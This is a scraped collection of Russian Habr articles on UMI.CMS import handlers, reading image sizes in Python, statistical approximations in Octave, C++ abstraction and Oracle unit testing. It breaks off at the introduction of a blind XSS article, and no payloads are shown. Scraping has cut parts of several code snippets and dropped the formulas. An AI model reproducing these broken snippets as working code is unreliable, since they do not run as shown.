$objects = $option->getElementsByTagName("object");
foreach($objects as $object) {
$objectId = $object->hasAttribute("id") ? $object->getAttribute("id") : null;
$objectName = $object->hasAttribute("name") ? $object->getAttribute("name") : null;
$objectTypeId = $object->hasAttribute("type-id") ? $object->getAttribute("type-id") : null;
//создаем опционное свойства
$item = Array();
$item["int"] = (int)$int;
$item["float"] = (float)$float;
$item["varchar"] = $objectName;
//находим объект, на который ссылается property
foreach($guideItems as $key => $value) {
if($value == $objectName) {
//ссылка на id объекта справочника должна быть именно типа int, иначе не работает
$item["rel"] = (int)$key;
break;
}
}
$items[] = $item;
}
}
//обновим поле объекта
$entityId = $element->getId();
if($element instanceof umiHierarchyElement) {
$entityId = $element->getObject()->getId();
}
$pageObject = $objectsCollection->getObject($entityId);
//мы должны добавить объекты к уже существующим, если они есть
$existingItems = $pageObject->getValue($name);
$newItems = Array();
if($existingItems) {
//добавляем те объекты из имеющихся, которых нет в новых
foreach($existingItems as $existingItem) {
$found = false;
foreach($items as $item) {
if($item["rel"] == $existingItem["rel"]) {
$found = true;
break;
}
}
if(!$found) {
$newItems[] = $existingItem;
}
}
}
//теперь добавим все новые
foreach($items as $item) {
$newItems[] = $item;
}
$pageObject->setValue($name, $newItems);
$pageObject->commit();
//restoring settings
umiObjectProperty::$USE_FORCE_OBJECTS_CREATION = $oldForce;
break;
}
}
}
/**
* Оригинальный UMI-шный метод из кода модуля импорта данных
*/
protected static function translateName($name) {
$name = umiHierarchy::convertAltName($name, "_");
$name = umiObjectProperty::filterInputString($name);
if(!strlen($name)) $name = '_';
$name = substr($name, 0, 64);
return $name;
}
```
В приведенном коде **после** создания или добавления товара (проверка на after) мы читаем из XML свойства товара и при наличии опционных свойств добавляем в товар соответствующие опционные свойства из справочника «Справочник для поля Характеристики».
После добавления указанного кода и повторной выгрузки товаров на сайт видим, что у каждого товара появились позиции, каждая со своим цветом и размером. То есть указанная задача достингута, и теперь у нас система UMI.CMS умеет импортировать из 1С опционные свойства товара.
Таким образом, события в UMI — это весьма мощный инструмент, и с помощью грамотно добавленных своих обработчиков событий можно существенно расширить функционал сайта, при этом не меняя ни единой строчки системного кода CMS и сохраняя возможность системных обновлений. | https://habr.com/ru/post/166647/ | null | ru | null |
# Получаем тип и размеры изображения без скачивания его целиком, используя Python
Возникла задача профильтровать базу данных ссылок на изображения и удалить большие. В результате было найдено решение на Python, которым я поделюсь под хабракатом:
[Сам скрипт](http://pastebin.com/raw.php?i=iAHrXyLg) + необходимая для работы библиотека [ReseekFile](http://dalkescientific.com/Python/ReseekFile.py)
Вся прелесть решения в том, что для получения информации о типе и размерах изображения(jpg, png, gif) достаточно скачать первых 24 байта файла.
Код анализа этих 24 байт:
```
# handle GIFs
if (size >= 10) and data[:6] in ('GIF87a', 'GIF89a'):
# Check to see if content_type is correct
content_type = 'image/gif'
w, h = struct.unpack("= 24) and data.startswith('\211PNG\r\n\032\n')
and (data[12:16] == 'IHDR')):
content\_type = 'image/png'
w, h = struct.unpack(">LL", data[16:24])
width = int(w)
height = int(h)
# Maybe this is for an older PNG version.
elif (size >= 16) and data.startswith('\211PNG\r\n\032\n'):
# Check to see if we have the right content type
content\_type = 'image/png'
w, h = struct.unpack(">LL", data[8:16])
width = int(w)
height = int(h)
# handle JPEGs
elif (size >= 2) and data.startswith('\377\330'):
content\_type = 'image/jpeg'
datastream.seek(0)
datastream.read(2)
b = datastream.read(1)
try:
while (b and ord(b) != 0xDA):
while (ord(b) != 0xFF): b = datastream.read(1)
while (ord(b) == 0xFF): b = datastream.read(1)
if (ord(b) >= 0xC0 and ord(b) <= 0xC3):
datastream.read(3)
h, w = struct.unpack(">HH", datastream.read(4))
break
else:
datastream.read(int(struct.unpack(">H", datastream.read(2))[0])-2)
b = datastream.read(1)
width = int(w)
height = int(h)
except struct.error:
pass
except ValueError:
pass
```
Надеюсь, что этот скрипт найдет себе место в избранном хабраюзеров и послужит когда это будет необходимо :) | https://habr.com/ru/post/199440/ | null | ru | null |
# Простые и быстрые приближения к статистическим функциям
Задача. Есть [калькулятор](https://en.wikipedia.org/wiki/HP_35s), но нет под рукой [статистических таблиц](https://www.medcalc.org/manual/statistical_tables.php). Например, нужны таблицы критических точек [распределения Стьюдента](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D1%81%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5_%D0%A1%D1%82%D1%8C%D1%8E%D0%B4%D0%B5%D0%BD%D1%82%D0%B0) для вычисления [доверительного интервала.](https://ru.wikipedia.org/wiki/%D0%94%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%B2%D0%B0%D0%BB) Взять компьютер с Excel? Не спортивно.
Большая точность не нужна, можно воспользоваться приближенными формулами. Идея приведённых ниже формул состоит в том, что преобразованием аргумента все распределения можно так или иначе свести к нормальному. Аппроксимации должны обеспечивать как вычисление кумулятивной функции распределения, так и расчет обратной к ней функции.
Начнём с нормального распределения.
![$\Phi(z)=P=\frac{1}{2}\left[1+\mathrm{erf}\left(\frac{z}{\sqrt{2}}\right)\right]$](https://habrastorage.org/getpro/habr/formulas/e65/708/9c7/e657089c74ebca76a2cd47137603c63f.svg)
Для него требуется вычислить функцию и обратную к ней. Я воспользовался приближением [1]:
где  и  — вспомогательные переменные:
а константа . Ниже дан код на языке Octave.
```
function y = erfa(x)
a = 0.147;
x2 = x**2; t = x2*(4/pi + a*x2)/(1 + a*x2);
y = sign(x)*sqrt(1 - exp(-t));
endfunction
function y = erfinva(x)
a = 0.147;
t1 = 1 - x**2; t2 = 2/pi/a + log(t1)/2;
y = sign(x)*sqrt(-t2 + sqrt(t2**2 - log(t1)/a));
endfunction
function y = normcdfa(x)
y = 1/2*(1 + erfa(x/sqrt(2)));
endfunction
function y = norminva(x)
y = sqrt(2)*erfinva(2*x - 1);
endfunction
```
Теперь, когда есть функции нормального распределения, приведём аргумент и вычислим t-распределение Стьюдента [2]:
где вспомогательная переменная  есть
```
function y = tcdfa(x,n)
t1 = (n - 1.5)/(n - 1)**2;
y = normcdfa(sqrt(1/t1*log(1 + x**2/n)));
endfunction
function y = tinva(x,n)
t1 = (n - 1.5)/(n - 1)**2;
y = sqrt(n*exp(t1*norminva(x)**2) - n);
endfunction
```
Идея приближенного вычисления распределения  наглядно представлена формулами [3]:
```
function y = chi2cdfa(x,n)
s2 = 2/9/n; mu = 1 - s2;
y = normcdfa(((x/n)**(1/3) - mu)/sqrt(s2));
endfunction
function y = chi2inva(x,n)
s2 = 2/9/n; mu = 1 - s2;
y = n*(norminva(x)*sqrt(s2) + mu)**3;
endfunction
```
Распределение Фишера (для  и ) находится в два шага. Сначала аргумент преобразуется к вычислению распределения Фишера через распределение  [4], а его мы уже знаем, как вычислить.
Найдём обратную функцию, решив квадратное уравнение.
```
function y = fcdfa(x,k,n)
mu = 1-2/9/k; s = sqrt(2/9/k);
lambda = (2*n + k*x/3 + k-2)/(2*n + 4*k*x/3);
normcdfa(((lambda*x)**(1/3)-mu)/s)
endfunction
function y = finva(x,k,n)
mu = 1-2/9/k; s = sqrt(2/9/k);
q = (norminva(x)*s + mu)**3;
b = 2*n + k-2 -4/3*k*q;
d = b**2 + 8/3*k*n*q;
y = (sqrt(d) - b)/(2*k/3);
endfunction
```
**Список литературы**
1. Sergei Winitzki. A handy approximation for the error function and its inverse. February 6, 2008.
2. Gleason J.R. A note on a proposed Student t approximation // Computational statistics & data analysis. – 2000. – Vol. 34. – №. 1. – Pp. 63-66.
3. Wilson E.B., Hilferty M.M. The distribution of chi-square // Proceedings of the National Academy of Sciences. – 1931. – Vol. 17. – №. 12. – Pp. 684-688.
4. Li B. and Martin E.B. An approximation to the F-distribution using the chi-square distribution. Computational statistics & data analysis. – 2002. Vol. 40. – №. 1. pp. 21-26. | https://habr.com/ru/post/515350/ | null | ru | null |
# Супер-выразительный код с привлечением уровней абстракций
Предлагаю вашему вниманию перевод статьи [Super expressive code by Raising Levels of Abstraction](https://www.fluentcpp.com/2017/01/03/super-expressive-code-by-raising-levels-of-abstraction/)
Этим постом я хочу предложить технику трансформации неясного кода в элегантный и выразительный, основанной на уровнях абстракции.
Проблема
--------
Ниже будет представлен проблемный код. Мы преобразим этот невыразительный и непонятный код в ясный и элегантный.
Пользователь нашего приложения планирует поездку через несколько городов в стране.
Он едет сразу из одного города в другой без остановки, если они достаточно близкие (скажем, на расстоянии до 100 км), иначе он делает ровно одну остановку между городами.
Предположим, у нас есть запланированный маршрут в виде коллекции городов.
Наша задача рассчитать необходимое количество остановок, экономя время на поезду.
Приложение уже имеет класс City, которым описывается город на маршруте. City предоставляет свои географические атрибуты, среди которых есть местоположение, реализованное классом Location. Объект класса Location может вычислять длину маршрута до любого другого объекта Location на карте.
```
class Location
{
public:
double distanceTo(const Location &other) const;
...
};
class GeographicalAttributes
{
public:
Location getLocation() const;
...
};
class City
{
public:
const GeographicalAttributes &getGeographicalAttributes() const;
...
};
```
Теперь предлагается реализация вычисления необходимого количества остановок, которые придётся совершить пользователю:
```
#include
int computeNumberOfBreaks(const std::vector &route)
{
static const double MaxDistance = 100;
int nbBreaks = 0;
for (std::vector::const\_iterator it1 = route.begin(), it2 = route.end();
it1 != route.end();
it2 = it1, ++it1)
{
if (it2 != route.end())
{
if(it1->getGeographicalAttributes().getLocation().distanceTo(
it2->getGeographicalAttributes().getLocation()) > MaxDistance)
{
++nbBreaks;
}
}
}
return nbBreaks;
}
```
Вы наверняка согласитесь, что этот кусок кода довольно туманный, и средний читатель этого кода потратит некоторое время на то, чтобы понять, что же происходит в коде. К сожалению, это невыдуманный пример того, что мы можем обнаружить в коде реального приложения. И если подобный код расположен в таком месте, которое часто изучают и меняют, неясность становится настоящей проблемой.
Давайте поработаем над этим куском кода и превратим его в ваш актив.
Создаём ясный код
-----------------
Создание ясного кода — это одно из положительных последствий привлечения уровней абстракций, которое, как я считаю, является важным принципом дизайна хорошего кода.
Во многих случаях неиспользование уровней абстракций возникает там, где код более низкого уровня вставляется среди кода среднего или высокого уровня. Другими словами, проблемой является код, который описывает **как** производится результат вместо **что** делается. Чтобы улучшить такой код, нам нужно повысить уровень абстракций.
Чтобы так сделать, мы можем применить следующую технику:
*Определить, какие вещи делает код, и заменить их осмысленными метками*
Это приведёт к значительному улучшению ясности кода.
Проблема вышеприведённого кода заключается в том, что он не подсказывает, что он значит — этот код не ясный. Давайте применим вышеозначенную технику для улучшения ясности кода: определим, какие вещи делает код, и пометим каждую такую вещь.
Начнём с логики цикла.
```
for (std::vector::const\_iterator it1 = route.begin(), it2 = route.end();
it1 != route.end();
it2 = it1, ++it1)
{
if (it2 != route.end())
{
```
Возможно, вам уже знакома эта техника, использованная в коде. Этот трюк используется для манипуляции смежными элементами в коллекции. it1 начинает с начала коллекции, it2 указывает на элемент прямо перед it1 по ходу прохождения всей однонаправленной коллекции. В начале it2 инициализируется концом коллекции, затем в теле цикла проверяется, что it2 больше не указывает на конец коллекции, и в этом случае производятся вычисления.
Мы сразу не могли сказать, что этот код понятный. Но после описания трюка мы можем определённо сказать, **что** он делает: он производит **манипуляции** с двумя смежными элементами за раз.
Давайте теперь рассмотрим другой кусок кода в условии:
```
it1->getGeographicalAttributes().getLocation().distanceTo(
it2->getGeographicalAttributes().getLocation()) > MaxDistance
```
Сам по себе этот код довольно легко проанализировать и понять, что он делает. Он определяет, что между двух городов **расстояние больше**, чем MaxDistance.
И наконец, проанализируем остаток кода, переменную nbBreaks:
```
int nbBreaks = 0;
for (...)
{
if(...)
{
++nbBreaks;
}
}
return nbBreaks;
```
Этот код увеличивает переменную каждый раз, когда выполняется условие. Он вычисляет **число**, сколько раз **условие** было выполнено.
В итоге получаем такие метки, которые описывают, что делает функция:
* **Манипуляции** смежными элементами,
* Определение, что два города находятся на **расстоянии большем** MaxDistance,
* **Число**, сколько раз **условие** было удовлетворено.
После того, как анализ сделан, остался только один шаг до превращения неясного кода в выразительный.
Методика заключается в назначении метки на каждую сущность, реализуемой кодом, и заменой соответствующего кода этой меткой. Здесь мы проделаем следующее:
* Для манипуляции смежными элементами мы можем создать компонент, который мы назовём `consecutive`, трансформирующим коллекцию элементов в коллекцию пар элементов, каждая пара будет иметь элемент из изначальной коллекции и следующий за ним элемент. Если маршрут route содержит {A, B, C, D, E}, `consecutive(route)` будет создавать {(A, B), (B, C), (C, D), (D, E)}. Подобный адаптер, создающий пары смежных элементов, недавно был добавлен под именем [sliding](https://github.com/ericniebler/range-v3/blob/afd3c77dabdf9816ffb7e266a8d9d55b86005834/test/view/sliding.cpp) в популярную библиотеку [range-v3](https://github.com/ericniebler/range-v3).
* Для определения превышения расстояния MaxDistance между двумя городами мы можем использовать функциональный объект (functor), назовём его FartherThan. Я знаю, что начиная с C++11 функторы в основном можно заменить лямбда-функциями, но здесь нам нужно дать имя действию. Чтобы сделать это элегантно с помощью лямбда-функции, нужно немного больше работы, о чём я расскажу в отдельном посте.
```
class FartherThan
{
public:
explicit FartherThan(double distance) : m_distance(distance) {}
bool operator()(const std::pair &cities)
{
return cities.first.getGeographicalAttributes().getLocation().distanceTo(
cities.second.getGeographicalAttributes().getLocation()) > m\_distance;
}
private:
double m\_distance;
};
```
* Для вычисления числа, сколько раз условие было удовлетворено, мы можем использовать алгоритм count\_if из STL.
Вот, что в итоге получается после замены кода метками:
```
int computeNumberOfBreaks(const std::vector& route)
{
static const double MaxDistance = 100;
return count\_if(consecutive(route), FartherThan(MaxDistance));
}
```
*(Примечание: count\_if из STL принимает два итератора от начала и до конца коллекции. Здесь используется обёртка count\_if над std::count\_if, которая передаёт в стандартный std::count\_if до C++17 начало и конец коллекции.)*
Этот код явно показывает, **что** он делает и не перемешивает уровни абстракций. По этой причине он намного выразительнее и яснее, чем изначальный код. Изначальный код только описывал, **как** он делает свою работу, а остальное понимание оставалось на читателе.
Эта техника может применяться ко многим частям неясного кода, чтобы преобразовать его в ясный. Она так же может быть применена для других языков программирования. В следующий раз, когда вы наткнётесь на неясный код, который вам захочется отрефакторить, попробуйте идентифицировать вещи, который делает код, и присвойте им имена. Вы будет поражены достигнутым результатом. | https://habr.com/ru/post/341006/ | null | ru | null |
# Определение доступности GPS в Android
Приветствую, хабрасообщество!
Эта статья, надеюсь, станет хорошим подспорьем начинающим в области программирования под Android. А может даже и матерые профи что-нибудь почерпнут.
Итак, понадобилось мне как-то определять, доступен ли в настоящее время GPS-фикс. Казалось бы, LBS (location-based service) — вещь перспективная и популярная, и Google, прекрасно это понимая, предоставит простой в обращении инструмент для их разработки. Ага, разбежался… Не так-то все и просто, поэтому приходится в определенной мере изощряться.
Ну и в чем тут у нас собственно проблема? Проблема в определении текущего местоположения пользователя. Видов существует несколько, но ТЗ велит использовать GPS и позиционирование по сотовым вышкам. Задача — определить текущие координаты с максимальной точностью, т.е. в идеале по GPS. Если он недоступен, то по вышкам. Если есть сигнал GPS, то все легко и просто — берем со спутника координаты и делаем с ними что угодно. Если сигнала нет, то при обработке координат вы рискуете нарваться на null, в чем очень мало хорошего, а при недолжной обработке исключений может быть еще и что-нибудь с печальными последствиями. Значит, надо как-то определить, а есть ли у нас фикс?
Ну что ж, проблема видна — будем решать!
Начнем с ковыряния LocationManager. Есть в нем занятное свойство isProviderEnabled(), возвращающее булево значение. Ура? Рано… Это значение всего лишь характеризует, включен GPS-приемник вашего телефона или нет (собственно, можно было и по названию догадаться). Первый блин получился как всегда, идем дальше.
Залезем во внутренности LocationListener. Что мы видим? Ба, да это обработчик onStatusChanged()! В идеале реагирует на изменение статуса провайдера, выставляя соответствующие значения. В идеале… Не реагирует он ни на что начиная с андроида версии 2.1! С грустью проходим мимо.
Продолжим? Конечно продолжим! Очевидным выглядит следующий финт ушами — сравнение времени последнего пришедшего фикса с текущим системным временем. Казалось бы, логично — раз фикс старый, то GPS недоступен. Не совсем так: фиксы приходят только при движении, соответственно можно перепутать недоступность спутников с простым сидением на месте. Согласитесь, будет не совсем приятно, если вы сидите себе сидите, и тут вдруг — оппа! — и ваш телефон решил, что вы телепортнулись метров на 400-500. Снова не то, но приемчик запомним — пригодится.
Теперь посмотрим в сторону GpsStatus.Listener, реализующий метод onGpsStatusChanged(int event). Переменная event может принимать несколько значений, нас же интересует GPS\_EVENT\_SATELLITE\_STATUS. Возникновение такого события говорит о том, что ваш приемник анализирует GPS-спутники. Вот это-то нам и надо! Дальше все просто и понятно — берем текущий статус GPS и вытаскиваем из него доступные спутники. В самом простом случае нас просто интересует их количество.
Небольшое отступление для начинающих в области навигации. Для определения текущей координаты нам в общем-то необходимо три спутника (для трехмерной координаты). Но это если у вас есть атомные часы, что очень-очень редко в случае мобильных девайсов. Поэтому для синхронизации времени нам потребуется еще один спутник.
Выглядеть обработчик статуса будет примерно так:
```
LocationManager lm = (LocationManager) getSystemService(Context.LOCATION_SERVICE);
GpsStatus.Listener lGPS = new GpsStatus.Listener() {
public void onGpsStatusChanged(int event) {
if( event == GpsStatus.GPS_EVENT_SATELLITE_STATUS){
GpsStatus status = lm.getGpsStatus(null);
Iterable sats = status.getSatellites();
doSomething();
}
}
};
lm.addGpsStatusListener(lGPS);
```
В переменной status лежит информация о всех доступных спутниках
Итак, дальше все ну совсем замечательно — смотрим количество спутников, если их меньше четырех, то фикса никакого нет и быть не может, значит используем другие методы позиционирования (уж извините, но конкретную реализацию описывать не буду). Этот метод можно скрестить с сопоставлением времен, описанным на пару абзацев выше. Так можно выставить определенный период «доверия» фиксу
Подобьем баланс. Все выше приведенное не дает вам точных гарантий определения доступности фикса. На самом деле просто отсекаются ситуации, в которых фикса уж точно нет. Это, конечно, не совсем то, что хотелось, но уже что-то!
**UPD**: Похоже, решение найдено! Свершилось это благодаря [r\_ii](http://habrahabr.ru/users/r_ii/).
Итак, ваш GPS-приемник, будучи во включенном состоянии, постоянно принимает сигналы в соответствии с протоколом [NMEA](http://ru.wikipedia.org/wiki/NMEA). Вот его-то нам и надо!
Для просмотра этих сигналов добавляем в код следующее:
```
lm.addNmeaListener(new GpsStatus.NmeaListener() {
public void onNmeaReceived(long timestamp, String nmea) {
parseNMEA(nmea);
}});
```
За этот код спасибо вот [этому](http://habrahabr.ru/blogs/android/121190/) топику [2m0nd](http://habrahabr.ru/users/2m0nd/). Полное описание протокола [здесь](http://www.tronico.fi/OH6NT/docs/NMEA0183.pdf) (pdf, англ).
Собственно, дело за малым — парсить полученную строку. В данном случае нас интересует строки с ключевым (первым) полем $GPGGA, а в них параметр №6, по умному называемый GPS Quality Indicator. Он принимает следующие значения:
* 0-фикс не доступен
* 1-GPS-фикс
* 2-дифференциальный фикс
Бинго!
P.S. Ни в коем случае не претендую на авторство указанных методов, т.к. все найдено исключительно с помощью гугла. Целью статьи является сбор всей информации в одну кучу и кое-какое ее структурирование для того, чтобы следующие путешествующие в сказочный мир навигации и программирования мобильных устройств с маленьким зеленым существом не тратили время и нервы.
P.P.S. Очевидно, что метод далек от идеала, поэтому его совершенствование продолжается. Любая помощь и критика (объективная) только приветствуется! | https://habr.com/ru/post/123397/ | null | ru | null |
# Как мы используем юнит-тестирование в СУБД Oracle
В некоторых технологиях и языках программирования юнит-тестирование — уже давно неотъемлемая часть написания кода. Оно интегрировано в разработку и доступно «из коробки» в виде фреймворков, как, например, JUnit для Java, xUnit/nUnit для C# и т. д. Но в Oracle культура юнит-тестирования мало распространена. В статье я расскажу, как и зачем мы внедрили автотесты при разработке на Oracle и для чего их используем.
На одном из проектов мы автоматизируем деятельность крупнейшего российского ритейлера. Большая часть софта написана на PL/SQL, процедурном расширении SQL, которое используется в Oracle. Помимо стандартной транзакционной логики СУБД, в нем много интеграций с внешними системами по SOAP и REST. Как мы выстраиваем эти интеграции, можно почитать [тут](https://habr.com/ru/company/custis/blog/502030/).
Раньше вся работа по тестированию на проекте ложилась на плечи инженера. Но его ресурсы ограничены и не позволяют проводить регрессионное тестирование всего приложения при добавлении небольшой фичи или исправлении бага. Поэтому в коде потом появлялись ошибки, которые становились головной болью для всех.
Мы решили, что юнит-тестирование поможет снизить количество багов и вообще уменьшить масштабы ручного труда.
Какой фреймворк мы выбрали
--------------------------
В качестве эксперимента мы решили автоматизировать тестирование одной из небольших подсистем с помощью open source фреймворка [utPLSQL](http://utplsql.org/) и в случае успеха распространить практику на остальную кодовую базу.
Чем хорош фреймворк для нас:
* близость по концепции и принципу действия к классическим фреймворкам в других языках программирования;
* большое сообщество пользователей, распространенность, периодическая актуализация и исправление ошибок в новых версиях;
* исчерпывающая документация;
* обширный функционал, полностью покрывающий наши потребности.
По сути, альтернатив этому фреймворку для работы с Oracle нет. Некоторые разработчики пишут свои скрипты для тестирования, но довольно затруднительно использовать их на проекте с большой кодовой базой.
Опустим рассказ об установке фреймворка и его основных возможностях, на эту тему достаточно материала и примеров в открытых источниках. Сосредоточимся на том, как именно мы применяем [utPLSQL](http://utplsql.org/) в наших реалиях.
Как работает фреймворк на проекте
---------------------------------
### Общий принцип
Мы частично принесли в жертву модульность и не создаем для каждой функции по набору позитивных и негативных тест-кейсов. В первую очередь мы тестируем комплексные процессы, отражающие реальные бизнес-цепочки событий заказчика. Почему так?
Во-первых, на экспериментальном этапе с нуля описывать юнит-тестами каждую функцию и процедуру слишком долго и дорого, на это не всегда хватает ресурсов, а результаты хочется получить как можно быстрее.
Во-вторых, нам куда важнее убедиться, что комплексный процесс выполняет свою роль в среде эксплуатации согласно бизнес-модели, чем проверять работоспособность вспомогательных атомарных методов.
### Схема обмена данными при тестировании
Наши продукты имеют версии. Каждая версия слоя базы данных приложения — это набор скриптов, пакетов, процедур и функций, измененных в текущем релизе и собранных в один большой исполняемый SQL-скрипт. Версия загружается в систему-хаб распространения обновлений и оттуда устанавливается на конкретные серверы, где происходит тестирование. Схематично это изображено на рисунке ниже.
После тестирования версия загружается в аналогичную систему заказчика с доступом к боевым серверам. Для тестирования, помимо «железных серверов», на которых развернуты инсталляции, у нас налажена работа с так называемыми TimeMachine-клонами. Если коротко, этот механизм — микс из GitLab, OpenNebula, Ceph и других инструментов, который позволяет быстро по кнопке или по расписанию поднимать инсталляции нужных версий на виртуальных серверах, используя user-friendly интерфейс GitLab. Эти инсталляции изначально использовались для ручного тестирования, но после внедрения юнит-тестирования на них еще прогоняются все автотесты с отбивкой и алертами об успешном или неуспешном выполнении. Мы также сохраняем историю запуска тестов. Это позволяет выявить, в какой момент и при каких правках был сломан тот или иной алгоритм в коде.
### Пример бизнес-процесса
При реализации такого бизнес-процесса мы обычно применяем автотесты. Дано: загрузка и обработка заказа из интернет-магазина.
1. Загружаем заказ покупателя на доставку из внешней системы.
2. Обрабатываем заказ на нашей стороне, проверяем, что такого заказа еще нет, проверяем данные покупателя.
3. Добавляем данные из другой внешней системы, отвечающей за спецификацию заказа, оплаты, резервы и прочее.
4. В зависимости от способа доставки заказа можем синхронизировать состояние с системой, которая отвечает за взаимодействие с курьерскими компаниями или собственными экспедиторами. На этом этапе, если все прошло гладко, заказ завершается.
В процессе создается большое количество учетных документов, имеющих разную направленность и адресатов: корзины, накладные, операции, документы оплаты, акты расхода и т. п. Все это нужно проверить на корректность и соответствие требованиям.
Вариантов развития у описанного бизнес-процесса может быть много. Клиент может отказаться, выкупить только часть заказа, доставка может быть платной, бесплатной или вообще отсутствовать, предоплата может быть полной, частичной, ее может не быть совсем и т. д.
Как тестирование реализовано в коде
-----------------------------------
Масштаб теста — один пакет (назовем его ut\_order), по одной процедуре для каждого сценария, процедуры beforeeach/aftereach для подготовки и обнуления тестовых данных и сброса кэша.
При большой вариативности сценариев бизнес-процесса количество и объем юнит-тестов будут весьма существенны. Если покрывать тестированием каждую задействованную функцию и процедуру, можно потратить очень много времени, при этом так или иначе все равно придется «склеивать» их в имитации процесса. Добавим сюда необходимость актуализировать и адаптировать функции и процедуры под постоянно меняющиеся бизнес-требования. Что касается самой методологии тестирования, все эти потребности покрываются встроенными механизмами фреймворка — annotations и expectations.
Полноценный тестовый инфообмен с внешними системами в нашем случае невозможен, так как это рабочие сервера заказчика. Поэтому для эмулирования обращений к таким системам решено было создать таблицу, в которой лежали бы сгенерированные запросы и ожидаемые ответы. Таким образом, при тестировании в местах бизнес-процесса, где должен происходить информационный обмен с внешними сервисами, мы вместо реального обращения к ним кладем в таблицу запрос и из нее же забираем данные.
Разберем реализацию тестирования в одном из сценариев бизнес-процесса.
Тестовый пакет, в котором собраны тест-кейсы:
```
CREATE OR REPLACE PACKAGE ut_order IS
--%suitepath(orders)
--%suite(Tests: deliv_orders)
--%beforeeach(before_order_test)
--%aftereach(after_order_test)
--%rollback(manual)
```
Эти аннотации позволяют фреймворку понять, что данный пакет является тестовым, и выставить определенные параметры, позволяющие сделать тестирование гибким и удобным. Полный список аннотаций с подробным описанием и примерами можно найти [в мануале](http://utplsql.org/utPLSQL/latest/userguide/annotations.html) на сайте фреймворка.
Тестовая процедура в пакете, помеченная аннотацией:
```
--%test(Полный выкуп, оплата курьеру, без услуги доставки)
PROCEDURE full_agency_contr_no_delivery;
```
Разного рода генераторы номеров заказов, накладных и прочего у нас вынесены в отдельный вспомогательный пакет. Кладем в mock-таблицу препарированный ранее запрос, выставляем системный параметр, от которого зависит, будут ли пакеты с логикой ссылаться на табличку или же формировать настоящий запрос.
```
-- Кладем в тестовую таблицу сгенерированный запрос
INSERT INTO t_test_response
(uuid, process, response)
VALUES
(l_ext_response_guid, 'ext_full_data_response', l_ext_response);
pk_param.set_prm(a_param => 'testing_response',
a_value => l_ext_response_guid,
a_level => 'Session');
-- Создаем заказ, проверяем его атрибутику
l_order_num := pk_order_api.load_order(l_ext_response);
SELECT *
INTO lt_deliv_order
FROM t_deliv_order o
WHERE o.num = l_order_num;
ut.expect(lt_deliv_order.id_deliv_order,'Заказ не создан').to_be_not_null();
ut.expect(lt_deliv_order.key_state,'Состояние заказа отличается от переданного').to_equal('shp_deliv_order_in_transit');
ut.expect(lt_deliv_order.num,'Номер заказа отличается от переданного').to_equal(l_order_num);
```
В пакетах с логикой имитируем получение ответа от сервиса, используя данные из тестовой таблицы:
```
-- отправляем запрос
IF pk_test_support.is_autotest_mode() THEN
-- autotest mode
l_resp := pk_test_support.get_last_test_response_clob();
END IF;
```
Проверяем все остальные созданные документы (корзины, накладные, документы оплаты и пр.).
```
-- Проверяем созданную корзину клиента
SELECT *
INTO lt_basket
FROM t_basket b
WHERE b.id_deliv_order = lt_deliv_order.id_deliv_order;
ut.expect(lt_basket.key_state,'Корзина не выдана').to_equal('shp_basket_unloaded');
ut.expect(TO_NUMBER(pk_basket.get_summa('shp_abstract_basket', lt_basket.id_basket, 'paid_summa_done', 'N')), 'Сумма оплаты по корзине не соответствует сумме, переданной курьеру').to_equal(pljson(l_req_codes_json.get(1)).get('togetCost').num);
```
Как запускаются автотесты
-------------------------
Как уже было сказано, запуск происходит не вручную в базе данных, а через настроенный механизм с интерфейсом в GitLab CI. Его возможности позволяют настроить интервальный запуск (Schedules) тестов, который включает в себя несколько шагов:
1. Клонируем инсталляцию с эталонного стенда с последней «боевой» (отданной заказчику) версией на борту.
2. Обновляем стенд до текущей рабочей версии из системы управления версиями.
3. Создаем (пересоздаем) объекты, необходимые для работы фреймворка, — пользователя, таблицы, пакеты, процедуры и т. п.
4. Прогоняем скрипт с пакетами, в которых реализованы юнит-тесты. Актуальные версии пакетов хранятся и выкачиваются из Git, то есть программисту достаточно добавить в репозиторий новый пакет или внести правки в существующий — и при запуске всегда будет использоваться актуальная версия.
Для запуска тестов используется штатный функционал фреймворка (команда ut.run()). Он же генерирует лог выполнения. Схематично весь этот процесс изображен на рисунке ниже.
Кроме того, в GitLab CI есть возможность разового запуска тестов на выбранных инсталляциях, в таком случае выполняются лишь последние два шага. Вот как это выглядит в интерфейсе:
Все это реализовано «под капотом», и инженеру достаточно выбрать существующую инсталляцию или создать новую и нажать буквально пару кнопок. Результат можно наблюдать в логах работы задания там же в GitLab.
Как видим, в результате прогона наших тестов что-то пошло не так. Судя по логу, 7 из 28 тестов завершились неуспешно. Теперь можно открыть пакет в нашей инсталляции и по приложенному стеку проследить, где и почему возникла логическая ошибка или системное исключение.
По всем запускам — успешным и неуспешным, настроенным по расписанию или ручным — приходит отбивка в специальный канал в рабочем мессенджере, на который подписаны инженеры и разработчики. В случае ошибок разбираемся и правим вручную ошибочные места в коде.
Заключение
----------
В целом стоит отметить, что наша модель работы с юнит-тестами получилась весьма эффективной и позволяет оперативно отслеживать возникновение ошибок и багов. По результатам внедрения автотестов, общий среднегодовой показатель cost of bugs для конкретного продукта снизился с 26,22% до 19,14%, по покрытым тестами бизнес-процессам проблемы стали возникать гораздо реже, чем раньше.
Сейчас, когда основные процессы запуска и мониторинга отлажены и данная модель признана командой успешной, перед нами стоит главная задача — повышать покрытие остальных процессов и продуктов. Надеюсь, наш опыт поможет и другим командам наладить процессы юнит-тестирования в СУБД Oracle, ведь на рынке остается много продуктов, в которых так или иначе задействован хранимый код PL/SQL и нет внятной стратегии, как наладить его автоматическое тестирование. | https://habr.com/ru/post/594113/ | null | ru | null |
# Слепая простота
В этой статье я расскажу о blind XSS — это довольно простая, но зачастую очень эффективная атака на веб-приложения. Эксплуатация таких векторов атак приводит к захвату админ-панелей различных сервисов, в том числе софтверных гигантов.
UPD: часть пейлоадов из статьи сработало на агрегаторах/парсерах Хабра, такие дела :)
### Как это работает?
